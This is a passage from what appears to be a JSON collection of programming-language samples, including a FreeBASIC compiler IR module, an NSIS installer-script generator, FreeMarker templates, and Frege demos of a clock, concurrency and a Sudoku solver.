    "content": "'' intermediate representation - core module\n''\n'' chng: dec/2006 written [v1ctor]\n\n#include once \"fb.bi\"\n#include once \"fbint.bi\"\n#include once \"ir.bi\"\n#include once \"emit.bi\"\n#include once \"ir-private.bi\"\n\ndim shared ir as IRCTX\n\nsub irInit( )\n\tselect case( env.clopt.backend )\n\tcase FB_BACKEND_GCC\n\t\tir.vtbl = irhlc_vtbl\n\tcase FB_BACKEND_LLVM\n\t\tir.vtbl = irllvm_vtbl\n\tcase FB_BACKEND_GAS64\n\t\tir.vtbl = irgas64_vtbl\n\tcase else\n\t\tassert( env.clopt.backend = FB_BACKEND_GAS )\n\t\tir.vtbl = irtac_vtbl\n\tend select\n\n\t'' reset ir.options becasue irSetOption() will merge (OR) values\n\tir.options = 0\n\n\tir.vtbl.init( )\nend sub\n\nsub irEnd( )\n\tir.vtbl.end( )\n\n\tir.options = 0\n\n\t#if __FB_DEBUG__\n\t\t'' debugging - reset the vtable - shouldn't matter in production\n\t\t'' because ir.vtbl calls should never be called outside irInit()/irEnd()\n\t\tdim null_vtbl as IR_VTBL\n\t\tir.vtbl = null_vtbl\n\t#endif\n\nend sub\n\ndim shared irhl as IRHLCONTEXT\n\nsub irhlInit( )\n\tflistInit( @irhl.vregs, IR_INITVREGNODES, sizeof( IRVREG ) )\n\tlistInit( @irhl.callargs, 32, sizeof( IRCALLARG ), LIST_FLAGS_NOCLEAR )\nend sub\n\nsub irhlEnd( )\n\tlistEnd( @irhl.callargs )\n\tflistEnd( @irhl.vregs )\nend sub\n\nsub irhlEmitProcBegin( )\n\tirhl.regcount = 0\nend sub\n\nsub irhlEmitProcEnd( )\n\tflistReset( @irhl.vregs )\nend sub\n\nsub irhlEmitPushArg _\n\t( _\n\t\tbyval param as FBSYMBOL ptr, _\n\t\tbyval vr as IRVREG ptr, _\n\t\tbyval udtlen as longint, _\n\t\tbyval level as integer, _\n\t\tbyval lreg as IRVREG ptr _ _\n\t)\n\n\t'' Remember for later, so during _emitCall[Ptr] we can emit the whole\n\t'' call in one go\n\tdim as IRCALLARG ptr arg = listNewNode( @irhl.callargs )\n\targ->param = param\n\targ->vr = vr\n\targ->level = level\n\n\t'' ignore udtlen, it's only used by ir-tac.bas:_emitPushArg()\n\t'' ignore lreg, it's only used by ir-tac.bas:_emitPushArg()\n\nend sub\n\nfunction irhlNewVreg _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr, _\n\t\tbyval vtype as integer _\n\t) as IRVREG ptr\n\n\tdim as IRVREG ptr v = any\n\n\tv = flistNewItem( @irhl.vregs )\n\n\tv->typ = vtype\n\tv->dtype = dtype\n\tv->subtype = subtype\n\tif( vtype = IR_VREGTYPE_REG ) then\n\t\tv->reg = irhl.regcount\n\t\tirhl.regcount += 1\n\telse\n\t\tv->reg = INVALID\n\tend if\n\tv->regFamily = 0\n\tv->vector = 0\n\tv->sym = NULL\n\tv->ofs = 0\n\tv->mult = 0\n\tv->vidx = NULL\n\tv->vaux = NULL\n\n\tfunction = v\nend function\n\nfunction irhlAllocVreg _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr _\n\t) as IRVREG ptr\n\tfunction = irhlNewVreg( dtype, subtype, IR_VREGTYPE_REG )\nend function\n\nfunction irhlAllocVrImm _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr, _\n\t\tbyval value as longint _\n\t) as IRVREG ptr\n\n\tdim as IRVREG ptr vr = any\n\n\tvr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_IMM )\n\tvr->value.i = value\n\n\tfunction = vr\nend function\n\nfunction irhlAllocVrImmF _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr, _\n\t\tbyval value as double _\n\t) as IRVREG ptr\n\n\tdim as IRVREG ptr vr = any\n\n\tvr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_IMM )\n\tvr->value.f = value\n\n\tfunction = vr\nend function\n\nfunction irhlAllocVrVar _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr, _\n\t\tbyval symbol as FBSYMBOL ptr, _\n\t\tbyval ofs as longint _\n\t) as IRVREG ptr\n\n\tdim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_VAR )\n\n\tvr->sym = symbol\n\tvr->ofs = ofs\n\n\tfunction = vr\nend function\n\nfunction irhlAllocVrIdx _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr, _\n\t\tbyval symbol as FBSYMBOL ptr, _\n\t\tbyval ofs as longint, _\n\t\tbyval mult as integer, _\n\t\tbyval vidx as IRVREG ptr _\n\t) as IRVREG ptr\n\n\tdim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_IDX )\n\n\tvr->sym = symbol\n\tvr->ofs = ofs\n\tvr->vidx = vidx\n\n\tfunction = vr\nend function\n\nfunction irhlAllocVrPtr _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr, _\n\t\tbyval ofs as longint, _\n\t\tbyval vidx as IRVREG ptr _\n\t) as IRVREG ptr\n\n\tdim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_PTR )\n\n\tvr->ofs = ofs\n\tvr->vidx = vidx\n\n\tfunction = vr\nend function\n\nfunction irhlAllocVrOfs _\n\t( _\n\t\tbyval dtype as integer, _\n\t\tbyval subtype as FBSYMBOL ptr, _\n\t\tbyval symbol as FBSYMBOL ptr, _\n\t\tbyval ofs as longint _\n\t) as IRVREG ptr\n\n\tdim as IRVREG ptr vr = irhlNewVreg( dtype, subtype, IR_VREGTYPE_OFS )\n\n\tvr->sym = symbol\n\tvr->ofs = ofs\n\n\tfunction = vr\nend function\n\n'' DATA descriptor arrays must be emitted based on the order indicated by the\n'' FBSYMBOL.var_.data.prev linked list, not in the symtb order.\nsub irForEachDataStmt( byval callback as sub( byval as FBSYMBOL ptr ) )\n\tvar sym = astGetLastDataStmtSymbol( )\n\twhile( sym )\n\t\tcallback( sym )\n\t\tsym = sym->var_.data.prev\n\twend\nend sub\n\nsub irhlFlushStaticInitializer( byval sym as FBSYMBOL ptr )\n\tastLoadStaticInitializer( symbGetTypeIniTree( sym ), sym )\n\tsymbSetTypeIniTree( sym, NULL )\nend sub\n\n#if __FB_DEBUG__\nfunction vregDumpToStr( byval v as IRVREG ptr ) as string\n\tdim as string s\n\tdim as string regname\n\n\tif( v = NULL ) then\n\t\treturn \"<NULL>\"\n\tend if\n\n\tstatic as zstring ptr vregtypes(IR_VREGTYPE_IMM to IR_VREGTYPE_OFS) = _\n\t{ _\n\t\t@\"imm\", @\"var\", @\"idx\", @\"ptr\", @\"reg\", @\"ofs\" _\n\t}\n\n\t#if 0\n\t\ts += \"[\" + hex( v, 8 ) + \"] \"\n\t#endif\n\n\ts += *vregtypes(v->typ)\n\n\tselect case( v->typ )\n\tcase IR_VREGTYPE_IMM\n\t\ts += \" \"\n\t\tif( typeGetClass( v->dtype ) = FB_DATACLASS_FPOINT ) then\n\t\t\ts += str( v->value.f )\n\t\telse\n\t\t\ts += str( v->value.i )\n\t\tend if\n\n\tcase IR_VREGTYPE_REG\n\t\tif( env.clopt.backend = FB_BACKEND_GAS ) then\n\t\t\tregname = emitDumpRegName( v->dtype, v->reg )\n\t\t\tif( len( regname ) > 0 ) then\n\t\t\t\ts += \" \" + ucase( regname )\n\t\t\telse\n\t\t\t\ts += \" \" + str( v->reg )\n\t\t\tend if\n\t\telse\n\t\t\t''s += \" reg=\"\n\t\t\ts += \" \" + str( v->reg )\n\t\tend if\n\tend select\n\n\tif( v->sym ) then\n\t\ts += \" \" + *symbGetName( v->sym )\n\tend if\n\n\tif( v->typ <> IR_VREGTYPE_REG ) then\n\t\tif( v->ofs ) then\n\t\t\tif( (env.clopt.backend = FB_BACKEND_GAS) and (v->sym <> NULL) ) then\n\t\t\t\ts += \" [\" + *symbGetMangledName( v->sym )\n\t\t\t\tif( v->ofs >= 0 ) then\n\t\t\t\t\ts += \"+\"\n\t\t\t\tend if\n\t\t\t\ts += str( v->ofs )\n\t\t\t\ts += \"]\"\n\t\t\telse\n\t\t\t\ts += \" ofs=\" + str( v->ofs )\n\t\t\tend if\n\t\tend if\n\t\tif( v->mult ) then\n\t\t\ts += \" mult=\" + str( v->mult )\n\t\tend if\n\tend if\n\n\ts += \" \" + typeDumpToStr( v->dtype, v->subtype )\n\n\tif( v->typ <> IR_VREGTYPE_REG ) then\n\t\tif( v->vidx ) then\n\t\t\ts += \" vidx=<\" + vregDumpToStr( v->vidx ) + \">\"\n\t\tend if\n\tend if\n\n\t'' If it's a longint vreg, show vaux\n\t'' ASM backend: uses vaux, so always show it\n\t'' C/LLVM backends: don't use vaux, so only show it if it's set\n\tif( ISLONGINT( v->dtype ) and _\n\t    ((env.clopt.backend = FB_BACKEND_GAS) or (v->vaux <> NULL)) ) then\n\t\ts += \" vaux=<\" + vregDumpToStr( v->vaux ) + \">\"\n\tend if\n\n\tfunction = s\nend function\n\nsub vregDump( byval v as IRVREG ptr )\n\tprint vregDumpToStr( v )\nend sub\n\n#endif\n"
  },
  {
    "path": "samples/FreeBASIC/makescript.bas",
    "content": "#define NULL 0\n#define FALSE 0\n#define TRUE (-1)\n#define STRINGIFY(s) #s\n\nprivate sub fatalCantOpenFile(byref file as string)\n    print \"Error: Could not open file: '\" + file + \"'\"\n    end 1\nend sub\n\nprivate function strReplace _\n    ( _\n        byref text as string, _\n        byref a as string, _\n        byref b as string _\n    ) as string\n\n    static as string result\n    static as string keep\n\n    result = text\n\n    dim as integer alen = len(a)\n    dim as integer blen = len(b)\n\n    dim as integer p = 0\n    do\n        p = instr(p + 1, result, a)\n        if (p = 0) then\n            exit do\n        end if\n\n        keep = mid(result, p + alen)\n        result = left(result, p - 1)\n        result += b\n        result += keep\n        p += blen - 1\n    loop\n\n    return result\nend function\n\n'' Searches backwards for the last '/' or '\\'.\nprivate function findFileName(byref path as string) as integer\n    for i as integer = (len(path)-1) to 0 step -1\n        dim as integer ch = path[i]\n        if ((ch = asc(\"/\")) or (ch = asc(\"\\\"))) then\n            return i + 1\n        end if\n    next\n    return 0\nend function\n\nprivate function pathStripFile(byref path as string) as string\n    return left(path, findFileName(path))\nend function\n\nprivate function pathStripComponent(byref path as string) as string\n    dim as string s = path\n\n    '' Strip path div at the end\n    dim as integer length = len(s)\n    if (length > 0) then\n        dim as integer ch = s[length-1]\n        if ((ch = asc(\"/\")) or (ch = asc(\"\\\"))) then\n            s = left(s, len(s) - 1)\n        end if\n    end if\n\n    '' Strip the last component\n    return pathStripFile(s)\nend function\n\nprivate sub emitPath(byval o as integer, byref cmd as string, byref path as string)\n    print #o, \"    \" + cmd + \" \"\"$INSTDIR\\\" + path + \"\"\"\"\nend sub\n\nprivate sub emitRmDirs(byval o as integer, byref prevpath as string, byref path as string)\n    '' RMDir foo\\bar\\baz\n    '' RMDir foo\\bar\n    '' RMDir foo\n    while ((len(prevpath) > 0) and (prevpath <> left(path, len(prevpath))))\n        emitPath(o, \"RMDir \", prevpath)\n        prevpath = pathStripComponent(prevpath)\n    wend\nend sub\n\nprivate sub emitInstallerFiles _\n    ( _\n        byref manifest as string, _\n        byval o as integer, _\n        byval install as integer _\n    )\n\n    dim as integer f = freefile()\n    if (open(manifest, for input, as #f)) then\n        fatalCantOpenFile(manifest)\n    end if\n\n    dim as string filename = \"\"\n    dim as string path = \"\"\n    dim as string prevpath = \"\"\n\n    while (eof(f) = FALSE)\n        line input #f, filename\n\n        if (len(filename)) then\n            '' Use backslashes for NSIS...\n            filename = strReplace(filename, \"/\", \"\\\")\n\n            path = pathStripFile(filename)\n            if (path <> prevpath) then\n                if (install) then\n                    emitPath(o, \"SetOutPath\", path)\n                else\n                    emitRmDirs(o, prevpath, path)\n                end if\n                prevpath = path\n            end if\n\n            if (install) then\n                filename = \"                   File \"\"\" + filename + \"\"\"\"\n            else\n                filename = \"    Delete \"\"$INSTDIR\\\" + filename + \"\"\"\"\n            end if\n\n            print #o, filename\n        end if\n    wend\n\n    if (install = FALSE) then\n        emitRmDirs(o, prevpath, path)\n    end if\n\n    close #f\nend sub\n\nif (__FB_ARGC__ <> 4) then\n    print \"Usage: makescript manifest.lst template.nsi outputscript.nsi\"\n    end 1\nend if\n\ndim as string manifest  = *__FB_ARGV__[1]\ndim as string inscript  = *__FB_ARGV__[2]\ndim as string outscript = *__FB_ARGV__[3]\n\ndim as integer i = freefile()\nif (open(inscript, for input, as #i)) then\n    fatalCantOpenFile(inscript)\nend if\n\ndim as integer o = freefile()\nif (open(outscript, for output, as #o)) then\n    fatalCantOpenFile(outscript)\nend if\n\ndim as string ln = \"\"\n\nwhile (eof(i) = FALSE)\n    line input #i, ln\n\n    select case (trim(ln))\n    case \";;;INSTALL;;;\"\n        emitInstallerFiles(manifest, o, TRUE)\n\n    case \";;;UNINSTALL;;;\"\n        emitInstallerFiles(manifest, o, FALSE)\n\n    case else\n        ln = strReplace(ln, \";;;FBVERSION;;;\", STRINGIFY(FBVERSION))\n        print #o, ln\n\n    end select\nwend\n"
  },
  {
    "path": "samples/FreeMarker/blocks-card.ftlh",
    "content": "<#-- @ftlvariable name=\"classes\" type=\"String\" -->\n<#-- @ftlvariable name=\"url\" type=\"String\" -->\n<#-- @ftlvariable name=\"image\" type=\"Object\" -->\n<#-- @ftlvariable name=\"image.src\" type=\"String\" -->\n<#-- @ftlvariable name=\"image.altText\" type=\"String\" -->\n<#-- @ftlvariable name=\"image.width\" type=\"String\" -->\n<#-- @ftlvariable name=\"image.height\" type=\"String\" -->\n<#-- @ftlvariable name=\"kicker\" type=\"String\" -->\n<#-- @ftlvariable name=\"title\" type=\"String\" -->\n<#-- @ftlvariable name=\"text\" type=\"String\" -->\n\n<div class=\"blocks-card ${classes!}\">\n  <@linkOrDiv href=url!\"\" class=\"blocks-card--card\">\n    <#if image??>\n      <figure class=\"blocks-card--image\">\n        <img\n          src=\"${image.src}\"\n          alt=\"${image.altText!}\"\n          <#if image.width??>width=\"${image.width}\"</#if>\n          <#if image.height??>height=\"${image.height}\"</#if>\n        />\n      </figure>\n    </#if>\n\n    <#if kicker?has_content || title?has_content || text?has_content>\n      <div class=\"blocks-card--body html-area\">\n        <#if kicker?has_content>\n          <small class=\"blocks-card--kicker\">\n            ${kicker}\n          </small>\n        </#if>\n\n        <#if title?has_content>\n          <h3 class=\"blocks-card--title\">\n            ${title}\n          </h3>\n        </#if>\n\n        <#if text?has_content>\n          <div class=\"blocks-card--text flow\">\n            ${text?no_esc}\n          </div>\n        </#if>\n      </div>\n    </#if>\n  </@linkOrDiv>\n</div>\n\n<#macro linkOrDiv href class>\n  <#if href?has_content>\n    <a href=\"${href}\" class=\"${class}\">\n      <#nested>\n    </a>\n  <#else>\n    <div class=\"${class}\">\n      <#nested>\n    </div>\n  </#if>\n</#macro>\n"
  },
  {
    "path": "samples/FreeMarker/example.ftl",
    "content": "<#import \"layout.ftl\" as layout>\n\n<#assign results = [\n        {\n            \"title\": \"Example Result\",\n            \"description\": \"Lorem ipsum dolor sit amet, pede id pellentesque, sollicitudin turpis sed in sed sed, libero dictum.\"\n        }\n    ] />\n\n<@layout.page title=\"FreeMarker Example\">\n    <#if results?size == 0>\n        There were no results.\n    <#else>\n        <ul>\n            <#list results as result>\n                <li>\n                    <strong>${result.title}</strong>\n                    <p>${result.description}</p>\n                </li>\n            </#list>\n        </ul>\n    </#if>\n\n    <#-- This is a FreeMarker comment -->\n    <@currentTime />\n</@layout.page>\n\n\n<#macro currentTime>\n    ${.now?string.full}\n</#macro>\n"
  },
  {
    "path": "samples/FreeMarker/header.ftlh",
    "content": "[#-- @ftlvariable name=\"locale\" type=\"String\" --]\n[#-- @ftlvariable name=\"spaceKey\" type=\"String\" --]\n[#-- @ftlvariable name=\"filters\" type=\"java.util.ArrayList\" --]\n\n<header class=\"header\">\n  <h1>\n    [@localize key=\"feature-toggles.displayName\" locale=locale /]\n  </h1>\n\n  <div class=\"header--toolbar\">\n    [#if filters?size == 1]\n      <div class=\"header--toolbar-text\">\n        [@localize key=\"feature-toggles.spaceKey\" locale=locale /] <em>${spaceKey}</em>\n      </div>\n    [#elseif filters?size > 1]\n      <div class=\"header--nav-label\" id=\"header-nav-label\">\n        [@localize key=\"feature-toggles.selectSpace\" locale=locale /]\n      </div>\n\n      <nav class=\"header--filters\" aria-labelledby=\"header-nav-label\">\n        [#list filters as filter]\n          <a\n            class=\"pill\"\n            href=\"${filter.url}\"\n            [#if filter.text == spaceKey]aria-current=\"true\"[/#if]>\n\n            ${filter.text}\n          </a>\n        [/#list]\n      </nav>\n    [/#if]\n  </div>\n</header>\n"
  },
  {
    "path": "samples/FreeMarker/layout.ftl",
    "content": "<#ftl strip_text=true />\n\n<#macro page title>\n    <!doctype html>\n    <html lang=\"${.lang}\">\n        <head>\n            <title>${title}</title>\n            <@metaTags />\n        </head>\n        <body>\n            <#nested />\n            <@footer />\n        </body>\n    </html>\n</#macro>\n\n\n<#---\n  Default meta tags\n-->\n<#macro metaTags>\n    <#compress>\n        <meta charset=\"utf-8\">\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n        <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n        <meta name=\"format-detection\" content=\"telephone=no\">\n    </#compress>\n</#macro>\n\n<#macro footer>\n    <p>This page is using FreeMarker v${.version}</p>\n</#macro>\n"
  },
  {
    "path": "samples/Frege/CommandLineClock.fr",
    "content": "{-- \n    This program displays the\n    current time on stdandard output\n    every other second.\n    -}\n    \nmodule examples.CommandLineClock where\n\ndata Date = native java.util.Date where\n    native new :: () -> IO (MutableIO Date)     -- new Date()\n    native toString :: Mutable s Date -> ST s String    -- d.toString()\n\n--- 'IO' action to give us the current time as 'String'\ncurrent :: IO String\ncurrent = do\n    d <- Date.new ()\n    d.toString\n\n{- \n    \"java.lang.Thread.sleep\" takes a \"long\" and\n    returns nothing, but may throw an InterruptedException.\n    This is without doubt an IO action.\n    \n    public static void sleep(long millis)\n                  throws InterruptedException\n    \n    Encoded in Frege:\n    - argument type  long   Long\n    - result         void   ()\n    - does IO               IO ()\n    - throws ...            throws ....\n     \n-}\n-- .... defined in frege.java.Lang\n-- native sleep java.lang.Thread.sleep :: Long -> IO () throws InterruptedException\n\n      \nmain args =  \n    forever do\n        current >>= print\n        print \"\\r\"\n        stdout.flush\n        Thread.sleep 999\n                "
  },
  {
    "path": "samples/Frege/Concurrent.fr",
    "content": "module examples.Concurrent where\n\nimport System.Random\nimport Java.Net (URL)\nimport Control.Concurrent as C\n\nmain2 args = do\n    m <- newEmptyMVar\n    forkIO do\n        m.put 'x'\n        m.put 'y' \n        m.put 'z'\n    replicateM_ 3 do\n        c <- m.take\n        print \"got: \"\n        println c  \n        \n            \nexample1 = do\n    forkIO (replicateM_ 100000 (putChar 'a'))\n    replicateM_ 100000 (putChar 'b')\n\nexample2 =  do\n    s <- getLine\n    case s.long of\n        Right n -> forkIO (setReminder n) >> example2\n        Left _  -> println (\"exiting ...\")\n    \nsetReminder :: Long -> IO ()\nsetReminder n = do\n        println (\"Ok, I remind you in \" ++ show n ++ \" seconds\")\n        Thread.sleep (1000L*n)\n        println (show n ++ \" seconds is up!\")\n\ntable = \"table\"\n            \nmainPhil _ = do\n    [fork1,fork2,fork3,fork4,fork5] <- mapM MVar.new [1..5]\n    forkIO (philosopher \"Kant\" fork5 fork1)\n    forkIO (philosopher \"Locke\" fork1 fork2)\n    forkIO (philosopher \"Wittgenstein\" fork2 fork3)\n    forkIO (philosopher \"Nozick\" fork3 fork4)\n    forkIO (philosopher \"Mises\" fork4 fork5)\n    return ()    \n\nphilosopher :: String -> MVar Int -> MVar Int -> IO ()\nphilosopher me left right = do\n    g <- Random.newStdGen\n    let phil g  = do\n            let (tT,g1) = Random.randomR (60L, 120L) g\n                (eT, g2)  = Random.randomR (80L, 160L) g1\n                thinkTime = 300L * tT\n                eatTime   = 300L * eT\n    \n            println(me ++ \" is going to the dining room and takes his seat.\") \n            fl <- left.take            \n            println (me ++ \" takes up left fork (\" ++ show fl ++ \")\")\n            rFork <- right.poll\n            case rFork of\n                Just fr -> do \n                    println (me ++ \" takes up right fork. (\" ++ show fr ++ \")\") \n                    println (me ++ \" is going to eat for \" ++ show eatTime ++ \"ms\")\n                    Thread.sleep eatTime\n                    println (me ++ \" finished eating.\")\n                    right.put fr\n                    println (me ++ \" took down right fork.\")\n                    left.put fl\n                    println (me ++ \" took down left fork.\")\n                    table.notifyAll \n                    println(me ++ \" is going to think for \" ++ show thinkTime ++ \"ms.\")\n                    Thread.sleep thinkTime\n                    phil g2\n                Nothing -> do\n                    println (me ++ \" finds right fork is already in use.\")\n                    left.put fl\n                    println (me ++ \" took down left fork.\")\n                    table.notifyAll\n                    println (me ++ \" is going to the bar to await notifications from table.\")\n                    table.wait\n                    println (me ++ \" got notice that something changed at the table.\")\n                    phil g2\n            \n        inter :: InterruptedException -> IO ()\n        inter _ = return ()        \n    \n    phil g `catch` inter\n\n    \ngetURL xx = do\n        url <- URL.new xx \n        con <- url.openConnection\n        con.connect\n        is  <- con.getInputStream\n        typ <- con.getContentType\n        -- stderr.println (\"content-type is \" ++ show typ) \n        ir  <- InputStreamReader.new is (fromMaybe \"UTF-8\" (charset typ))\n            `catch` unsupportedEncoding is \n        br  <- BufferedReader.new ir\n        br.getLines\n    where\n        unsupportedEncoding :: InputStream -> UnsupportedEncodingException -> IO InputStreamReader\n        unsupportedEncoding is x = do\n            stderr.println x.catched\n            InputStreamReader.new is \"UTF-8\"\n            \n        charset ctyp = do\n            typ <- ctyp\n            case typ of\n                m~´charset=(\\S+)´ -> m.group 1\n                _ -> Nothing\n\n    \ntype SomeException = Throwable\n\nmain [\"dining\"] = mainPhil []\n        \nmain _ =  do\n    m1 <- MVar.newEmpty\n    m2 <- MVar.newEmpty\n    m3 <- MVar.newEmpty\n    \n    forkIO do\n        r <- (catchAll . getURL) \"http://www.wikipedia.org/wiki/Haskell\"\n        m1.put r\n    \n    forkIO do\n        r <- (catchAll . getURL) \"htto://www.wikipedia.org/wiki/Java\"\n        m2.put r\n    \n    forkIO do\n        r <- (catchAll . getURL) \"http://www.wikipedia.org/wiki/Frege\"\n        m3.put r\n    \n    r1 <- m1.take\n    r2 <- m2.take\n    r3 <- m3.take\n    println (result r1, result r2, result r3)\n    -- case r3 of\n    --     Right ss -> mapM_ putStrLn ss\n    --     Left _   -> return ()\n  where\n    result :: (SomeException|[String]) -> (String|Int)\n    result (Left x)  = Left x.getClass.getName\n    result (Right y) = (Right . sum . map length)  y\n    -- mapM_ putStrLn r2\n\n        "
  },
  {
    "path": "samples/Frege/Sudoku.fr",
    "content": "package examples.Sudoku where\n\nimport Data.TreeMap (Tree, keys)\nimport Data.List as DL hiding (find, union)\n\n\ntype Element    = Int           -- 1,2,3,4,5,6,7,8,9\ntype Zelle      = [Element]     -- set of candidates\ntype Position   = Int           -- 0..80\ntype Feld       = (Position, Zelle)\ntype Brett      = [Feld]\n\n--- data type for assumptions and conclusions\ndata Assumption =\n              !ISNOT Position Element\n            | !IS    Position Element\n\n\nderive Eq Assumption\nderive Ord Assumption\ninstance Show Assumption where\n    show (IS p e)    = pname p ++ \"=\" ++ e.show\n    show (ISNOT p e) = pname p ++ \"/\" ++ e.show\n\nshowcs cs = joined \" \" (map Assumption.show cs)\n\nelements :: [Element]           -- all possible elements\nelements = [1 .. 9]\n\n{-\n    a  b  c   d  e  f   g  h  i\n     0  1  2 | 3  4  5 | 6  7  8    1\n     9 10 11 |12 13 14 |15 16 17    2\n    18 19 20 |21 22 23 |24 25 26    3\n    ---------|---------|--------\n    27 28 29 |30 31 32 |33 34 35    4\n    36 37 38 |39 40 41 |42 43 44    5\n    45 46 47 |48 49 50 |51 52 53    6\n    ---------|---------|--------\n    54 55 56 |57 58 59 |60 61 62    7\n    63 64 65 |66 67 68 |69 70 71    8\n    72 73 74 |75 76 77 |78 79 80    9\n-}\n\npositions :: [Position]         -- all possible positions\npositions = [0..80]\nrowstarts :: [Position]         -- all positions where a row is starting\nrowstarts =  [0,9,18,27,36,45,54,63,72]\ncolstarts :: [Position]         -- all positions where a column is starting\ncolstarts =  [0,1,2,3,4,5,6,7,8]\nboxstarts :: [Position]         -- all positions where a box is starting\nboxstarts =  [0,3,6,27,30,33,54,57,60]\nboxmuster :: [Position]         -- pattern for a box, by adding upper left position results in real box\nboxmuster =  [0,1,2,9,10,11,18,19,20]\n\n\n--- extract field for position\ngetf :: Brett -> Position  -> Feld\ngetf (f:fs) p\n    | fst f == p = f\n    | otherwise  = getf fs p\ngetf [] p = (p,[])\n\n\n--- extract cell for position\ngetc :: Brett -> Position -> Zelle\ngetc b p = snd (getf b p)\n\n--- compute the list of all positions that belong to the same row as a given position\nrow :: Position -> [Position]\nrow p = [z..(z+8)] where z = (p `quot` 9) * 9\n\n--- compute the list of all positions that belong to the same col as a given position\ncol :: Position -> [Position]\ncol p = map (c+) rowstarts where c = p `mod` 9\n\n--- compute the list of all positions that belong to the same box as a given position\nbox :: Position -> [Position]\nbox p  = map (z+) boxmuster where\n    ri = p `div` 27 * 27    -- 0, 27 or 54, depending on row\n    ci = p `mod` 9          -- column index 0..8, 0,1,2 is left, 3,4,5 is middle, 6,7,8 is right\n    cs = ci `div` 3 * 3     -- 0, 3 or 6\n    z  = ri + cs\n\n--- check if candidate set has exactly one member, i.e. field has been solved\nsingle :: Zelle -> Bool\nsingle [_] = true\nsingle _   = false\n\nunsolved :: Zelle -> Bool\nunsolved [_] = false\nunsolved _   = true\n\n-- list of rows, cols, boxes\nallrows = map row rowstarts\nallcols = map col colstarts\nallboxs = map box boxstarts\nallrcb  = zip (repeat \"row\") allrows\n          ++ zip (repeat \"col\") allcols\n          ++ zip (repeat \"box\") allboxs\n\n\ncontainers :: [(Position -> [Position], String)]\ncontainers = [(row, \"row\"), (col, \"col\"), (box, \"box\")]\n\n-- ----------------- PRINTING ------------------------------------\n-- printable coordinate of field, upper left is a1, lower right is i9\npname p = packed [chr (ord 'a' + p `mod` 9), chr (ord '1' + p `div` 9)]\n\n-- print board\nprintb b = mapM_ p1line allrows >> println \"\"\n    where\n        p1line row = do\n                print (joined \"\" (map pfld line))\n            where line = map (getc b) row\n\n-- print field (brief)\n--   ? = no candidate\n--   5 = field is 5\n--   . = some candidates\npfld [] = \"?\"\npfld [x] = show x\npfld zs = \"0\"\n\n-- print initial/final board\nresult msg b = do\n        println (\"Result: \" ++ msg)\n        print   (\"Board: \")\n        printb b\n        return b\n\nres012 b = case concatMap (getc b) [0,1,2] of\n    [a,b,c] -> a*100+b*10+c\n    _ -> 9999999\n\n-- -------------------------- BOARD ALTERATION ACTIONS ---------------------------------\n-- print a message about what is done to the board and return the new board\nturnoff1 :: Position -> Zelle -> Brett -> IO Brett\nturnoff1 i off b\n    | single nc = do\n            -- print (pname i)\n            -- print \": set to \"\n            -- print (head nc)\n            -- println \" (naked single)\"\n            return newb\n    | otherwise = return newb\n    where\n        cell   = getc b i\n        nc     = filter (`notElem` off) cell\n        newb   = (i, nc) : [ f | f <- b, fst f != i ]\n\nturnoff :: Int -> Zelle -> String -> Brett -> IO Brett\nturnoff i off msg b = do\n        -- print (pname i)\n        -- print \": set to \"\n        -- print nc\n        -- print \" by clearing \"\n        -- print off\n        -- print \" \"\n        -- println  msg\n        return newb\n    where\n        cell   = getc b i\n        nc     = filter (`notElem` off) cell\n        newb   = (i, nc) : [ f | f <- b, fst f != i ]\n\nturnoffh ps off msg b = foldM toh b ps\n    where\n        toh b p = turnoff p off msg b\n\nsetto :: Position -> Element -> String -> Brett -> IO Brett\nsetto i n cname b = do\n        -- print (pname i)\n        -- print \": set to \"\n        -- print n\n        -- print \" (hidden single in \"\n        -- print cname\n        -- println \")\"\n        return newb\n    where\n        nf     = [n]\n        newb   = (i, nf) : [ f | f <- b, fst f != i ]\n\n\n-- ----------------------------- SOLVING STRATEGIES ---------------------------------------------\n-- reduce candidate sets that contains numbers already in same row, col or box\n-- This finds (and logs) NAKED SINGLEs in passing.\nreduce b = [  turnoff1 p sss | (p,cell) <- b,               -- for each field\n                unsolved cell,                              --  with more than 1 candidate\n                --       single fields in containers that are candidates of that field\n                sss = [ s | (rcb, _) <- containers, [s] <- map (getc b) (rcb p), s `elem` cell],\n                sss != [] ]                                     -- collect field index, elements to remove from candidate set\n\n-- look for a number that appears in exactly 1 candidate set of a container\n-- this number can go in no other place (HIDDEN SINGLE)\nhiddenSingle b = [ setto i n cname |                     -- select index, number, containername\n            (cname, rcb) <- allrcb,                 -- FOR rcb IN allrcb\n            n <- elements,                          --  FOR n IN elements\n            fs     = filter (unsolved • snd) (map (getf b) rcb),\n            occurs  = filter ((n `elem`) • snd) fs,\n            length occurs == 1,\n            (i, _) <- occurs ]\n\n-- look for NAKED PAIRS, TRIPLES, QUADS\nnakedPair n b = [ turnoff p t (\"(naked tuple in \" ++ nm ++ \")\") |           -- SELECT pos, tuple, name\n            -- n <- [2,3,4],                    //  FOR n IN [2,3,4]\n            (nm, rcb) <- allrcb,             --    FOR rcb IN containers\n            fs = map (getf b) rcb,              --      let fs = fields for rcb positions\n            u  = (fold union [] . filter unsolved . map snd) fs,   -- let u = union of non single candidates\n            t <- n `outof` u,                   --      FOR t IN n-tuples\n            hit = (filter ((`subset` t) . snd) . filter (unsolved . snd)) fs,\n            length hit == n,\n            (p, cell) <- fs,\n            p `notElem` map fst hit,\n            any (`elem` cell) t\n            ]\n\n-- look for HIDDEN PAIRS, TRIPLES or QUADS\nhiddenPair n b = [ turnoff p off 